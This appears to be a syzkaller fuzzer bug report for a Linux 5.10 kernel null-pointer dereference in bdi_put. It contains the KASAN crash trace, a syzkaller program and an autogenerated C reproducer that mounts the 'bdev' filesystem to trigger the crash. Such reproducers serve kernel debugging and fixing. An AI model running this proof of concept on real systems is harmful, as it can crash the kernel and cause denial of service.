PoC.c

Syzkaller hit 'KASAN: null-ptr-deref Write in bdi_put' bug.

audit: type=1400 audit(1608800554.093:8): avc:  denied  { execmem } for  pid=402 comm="syz-executor154" scontext=system_u:system_r:kernel_t:s0 tcontext=system_u:system_r:kernel_t:s0 tclass=process permissive=1
==================================================================
BUG: KASAN: null-ptr-deref in instrument_atomic_read_write include/linux/instrumented.h:101 [inline]
BUG: KASAN: null-ptr-deref in atomic_fetch_sub_release include/asm-generic/atomic-instrumented.h:220 [inline]
BUG: KASAN: null-ptr-deref in __refcount_sub_and_test include/linux/refcount.h:272 [inline]
BUG: KASAN: null-ptr-deref in __refcount_dec_and_test include/linux/refcount.h:315 [inline]
BUG: KASAN: null-ptr-deref in refcount_dec_and_test include/linux/refcount.h:333 [inline]
BUG: KASAN: null-ptr-deref in kref_put include/linux/kref.h:64 [inline]
BUG: KASAN: null-ptr-deref in bdi_put+0x22/0xa0 mm/backing-dev.c:901
Write of size 4 at addr 0000000000000040 by task syz-executor154/402

CPU: 3 PID: 402 Comm: syz-executor154 Not tainted 5.10.0+ #2
Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.13.0-1ubuntu1 04/01/2014
Call Trace:
 __dump_stack lib/dump_stack.c:79 [inline]
 dump_stack+0xbe/0xf9 lib/dump_stack.c:120
 __kasan_report mm/kasan/report.c:400 [inline]
 kasan_report.cold+0x10c/0x10e mm/kasan/report.c:413
 check_memory_region_inline mm/kasan/generic.c:179 [inline]
 check_memory_region+0x17c/0x1e0 mm/kasan/generic.c:185
 instrument_atomic_read_write include/linux/instrumented.h:101 [inline]
 atomic_fetch_sub_release include/asm-generic/atomic-instrumented.h:220 [inline]
 __refcount_sub_and_test include/linux/refcount.h:272 [inline]
 __refcount_dec_and_test include/linux/refcount.h:315 [inline]
 refcount_dec_and_test include/linux/refcount.h:333 [inline]
 kref_put include/linux/kref.h:64 [inline]
 bdi_put+0x22/0xa0 mm/backing-dev.c:901
 bdev_evict_inode+0x5d/0xa0 fs/block_dev.c:809
 evict+0x2e3/0x5e0 fs/inode.c:577
 iput_final fs/inode.c:1651 [inline]
 iput fs/inode.c:1677 [inline]
 iput+0x414/0x780 fs/inode.c:1663
 dentry_unlink_inode+0x32d/0x470 fs/dcache.c:374
 __dentry_kill+0x36c/0x650 fs/dcache.c:579
 dentry_kill fs/dcache.c:705 [inline]
 dput+0x5b0/0xb20 fs/dcache.c:878
 shrink_dcache_for_umount+0x68/0x160 fs/dcache.c:1639
 generic_shutdown_super+0x68/0x360 fs/super.c:447
 kill_anon_super+0x36/0x60 fs/super.c:1055
 deactivate_locked_super+0x91/0xf0 fs/super.c:335
 deactivate_super fs/super.c:366 [inline]
 deactivate_super+0xad/0xd0 fs/super.c:362
 cleanup_mnt+0x347/0x4b0 fs/namespace.c:1118
 task_work_run+0x102/0x1c0 kernel/task_work.c:140
 tracehook_notify_resume include/linux/tracehook.h:189 [inline]
 exit_to_user_mode_loop kernel/entry/common.c:174 [inline]
 exit_to_user_mode_prepare+0x11f/0x130 kernel/entry/common.c:201
 __syscall_exit_to_user_mode_work kernel/entry/common.c:291 [inline]
 syscall_exit_to_user_mode+0x1d/0x40 kernel/entry/common.c:302
 entry_SYSCALL_64_after_hwframe+0x44/0xa9
RIP: 0033:0x44e51d
Code: 28 c3 e8 16 2b 00 00 66 0f 1f 44 00 00 f3 0f 1e fa 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 c7 c1 c4 ff ff ff f7 d8 64 89 01 48
RSP: 002b:00007fff14a1ba68 EFLAGS: 00000246 ORIG_RAX: 00000000000000a5
RAX: ffffffffffffffea RBX: 00007fff14a1ba78 RCX: 000000000044e51d
RDX: 0000000020000080 RSI: 0000000020000000 RDI: 0000000000000000
RBP: 00007fff14a1ba70 R08: 0000000000000000 R09: 0000000000401fc0
R10: 0000000000004000 R11: 0000000000000246 R12: 0000000000000000
R13: 0000000000000000 R14: 00000000004c5018 R15: 0000000000000000
==================================================================


Syzkaller reproducer:
# {Threaded:false Collide:false Repeat:false RepeatTimes:0 Procs:1 Sandbox: Fault:false FaultCall:-1 FaultNth:0 Leak:false NetInjection:false NetDevices:false NetReset:false Cgroups:false BinfmtMisc:false CloseFDs:false KCSAN:false DevlinkPCI:false USB:false VhciInjection:false Wifi:false Sysctl:false UseTmpDir:false HandleSegv:true Repro:false Trace:false}
syz_mount_image$nfs(0x0, &(0x7f0000000040)='./file0\x00', 0x0, 0x0, 0x0, 0x0, 0x0)
mount(0x0, &(0x7f0000000000)='./file0\x00', &(0x7f0000000080)='bdev\x00', 0x4000, 0x0)


C reproducer:
// autogenerated by syzkaller (https://github.com/google/syzkaller)

#define _GNU_SOURCE

#include <endian.h>
#include <errno.h>
#include <fcntl.h>
#include <setjmp.h>
#include <signal.h>
#include <stddef.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mount.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <unistd.h>

#include <linux/loop.h>

static unsigned long long procid;

static __thread int skip_segv;
static __thread jmp_buf segv_env;

static void segv_handler(int sig, siginfo_t* info, void* ctx)
{
  uintptr_t addr = (uintptr_t)info->si_addr;
  const uintptr_t prog_start = 1 << 20;
  const uintptr_t prog_end = 100 << 20;
  int skip = __atomic_load_n(&skip_segv, __ATOMIC_RELAXED) != 0;
  int valid = addr < prog_start || addr > prog_end;
  if (skip && valid) {
    _longjmp(segv_env, 1);
  }
  exit(sig);
}

static void install_segv_handler(void)
{
  struct sigaction sa;
  memset(&sa, 0, sizeof(sa));
  sa.sa_handler = SIG_IGN;
  syscall(SYS_rt_sigaction, 0x20, &sa, NULL, 8);
  syscall(SYS_rt_sigaction, 0x21, &sa, NULL, 8);
  memset(&sa, 0, sizeof(sa));
  sa.sa_sigaction = segv_handler;
  sa.sa_flags = SA_NODEFER | SA_SIGINFO;
  sigaction(SIGSEGV, &sa, NULL);
  sigaction(SIGBUS, &sa, NULL);
}

#define NONFAILING(...)                                                        \
  ({                                                                           \
    int ok = 1;                                                                \
    __atomic_fetch_add(&skip_segv, 1, __ATOMIC_SEQ_CST);                       \
    if (_setjmp(segv_env) == 0) {                                              \
      __VA_ARGS__;                                                             \
    } else                                                                     \
      ok = 0;                                                                  \
    __atomic_fetch_sub(&skip_segv, 1, __ATOMIC_SEQ_CST);                       \
    ok;                                                                        \
  })

struct fs_image_segment {
  void* data;
  uintptr_t size;
  uintptr_t offset;
};

#define IMAGE_MAX_SEGMENTS 4096
#define IMAGE_MAX_SIZE (129 << 20)

#define sys_memfd_create 319

static unsigned long fs_image_segment_check(unsigned long size,
                                            unsigned long nsegs,
                                            struct fs_image_segment* segs)
{
  if (nsegs > IMAGE_MAX_SEGMENTS)
    nsegs = IMAGE_MAX_SEGMENTS;
  for (size_t i = 0; i < nsegs; i++) {
    if (segs[i].size > IMAGE_MAX_SIZE)
      segs[i].size = IMAGE_MAX_SIZE;
    segs[i].offset %= IMAGE_MAX_SIZE;
    if (segs[i].offset > IMAGE_MAX_SIZE - segs[i].size)
      segs[i].offset = IMAGE_MAX_SIZE - segs[i].size;
    if (size < segs[i].offset + segs[i].offset)
      size = segs[i].offset + segs[i].offset;
  }
  if (size > IMAGE_MAX_SIZE)
    size = IMAGE_MAX_SIZE;
  return size;
}
static int setup_loop_device(long unsigned size, long unsigned nsegs,
                             struct fs_image_segment* segs,
                             const char* loopname, int* memfd_p, int* loopfd_p)
{
  int err = 0, loopfd = -1;
  size = fs_image_segment_check(size, nsegs, segs);
  int memfd = syscall(sys_memfd_create, "syzkaller", 0);
  if (memfd == -1) {
    err = errno;
    goto error;
  }
  if (ftruncate(memfd, size)) {
    err = errno;
    goto error_close_memfd;
  }
  for (size_t i = 0; i < nsegs; i++) {
    if (pwrite(memfd, segs[i].data, segs[i].size, segs[i].offset) < 0) {
    }
  }
  loopfd = open(loopname, O_RDWR);
  if (loopfd == -1) {
    err = errno;
    goto error_close_memfd;
  }
  if (ioctl(loopfd, LOOP_SET_FD, memfd)) {
    if (errno != EBUSY) {
      err = errno;
      goto error_close_loop;
    }
    ioctl(loopfd, LOOP_CLR_FD, 0);
    usleep(1000);
    if (ioctl(loopfd, LOOP_SET_FD, memfd)) {
      err = errno;
      goto error_close_loop;
    }
  }
  *memfd_p = memfd;
  *loopfd_p = loopfd;
  return 0;

error_close_loop:
  close(loopfd);
error_close_memfd:
  close(memfd);
error:
  errno = err;
  return -1;
}

static long syz_mount_image(volatile long fsarg, volatile long dir,
                            volatile unsigned long size,
                            volatile unsigned long nsegs,
                            volatile long segments, volatile long flags,
                            volatile long optsarg)
{
  struct fs_image_segment* segs = (struct fs_image_segment*)segments;
  int res = -1, err = 0, loopfd = -1, memfd = -1, need_loop_device = !!segs;
  char* mount_opts = (char*)optsarg;
  char* target = (char*)dir;
  char* fs = (char*)fsarg;
  char* source = NULL;
  char loopname[64];
  if (need_loop_device) {
    memset(loopname, 0, sizeof(loopname));
    snprintf(loopname, sizeof(loopname), "/dev/loop%llu", procid);
    if (setup_loop_device(size, nsegs, segs, loopname, &memfd, &loopfd) == -1)
      return -1;
    source = loopname;
  }
  mkdir(target, 0777);
  char opts[256];
  memset(opts, 0, sizeof(opts));
  if (strlen(mount_opts) > (sizeof(opts) - 32)) {
  }
  strncpy(opts, mount_opts, sizeof(opts) - 32);
  if (strcmp(fs, "iso9660") == 0) {
    flags |= MS_RDONLY;
  } else if (strncmp(fs, "ext", 3) == 0) {
    if (strstr(opts, "errors=panic") || strstr(opts, "errors=remount-ro") == 0)
      strcat(opts, ",errors=continue");
  } else if (strcmp(fs, "xfs") == 0) {
    strcat(opts, ",nouuid");
  }
  res = mount(source, target, fs, flags, opts);
  if (res == -1) {
    err = errno;
    goto error_clear_loop;
  }
  res = open(target, O_RDONLY | O_DIRECTORY);
  if (res == -1) {
    err = errno;
  }

error_clear_loop:
  if (need_loop_device) {
    ioctl(loopfd, LOOP_CLR_FD, 0);
    close(loopfd);
    close(memfd);
  }
  errno = err;
  return res;
}

int main(void)
{
  syscall(__NR_mmap, 0x1ffff000ul, 0x1000ul, 0ul, 0x32ul, -1, 0ul);
  syscall(__NR_mmap, 0x20000000ul, 0x1000000ul, 7ul, 0x32ul, -1, 0ul);
  syscall(__NR_mmap, 0x21000000ul, 0x1000ul, 0ul, 0x32ul, -1, 0ul);
  install_segv_handler();
  NONFAILING(memcpy((void*)0x20000040, "./file0\000", 8));
  NONFAILING(syz_mount_image(0, 0x20000040, 0, 0, 0, 0, 0));
  NONFAILING(memcpy((void*)0x20000000, "./file0\000", 8));
  NONFAILING(memcpy((void*)0x20000080, "bdev\000", 5));
  syscall(__NR_mount, 0ul, 0x20000000ul, 0x20000080ul, 0x4000ul, 0ul);
  return 0;
}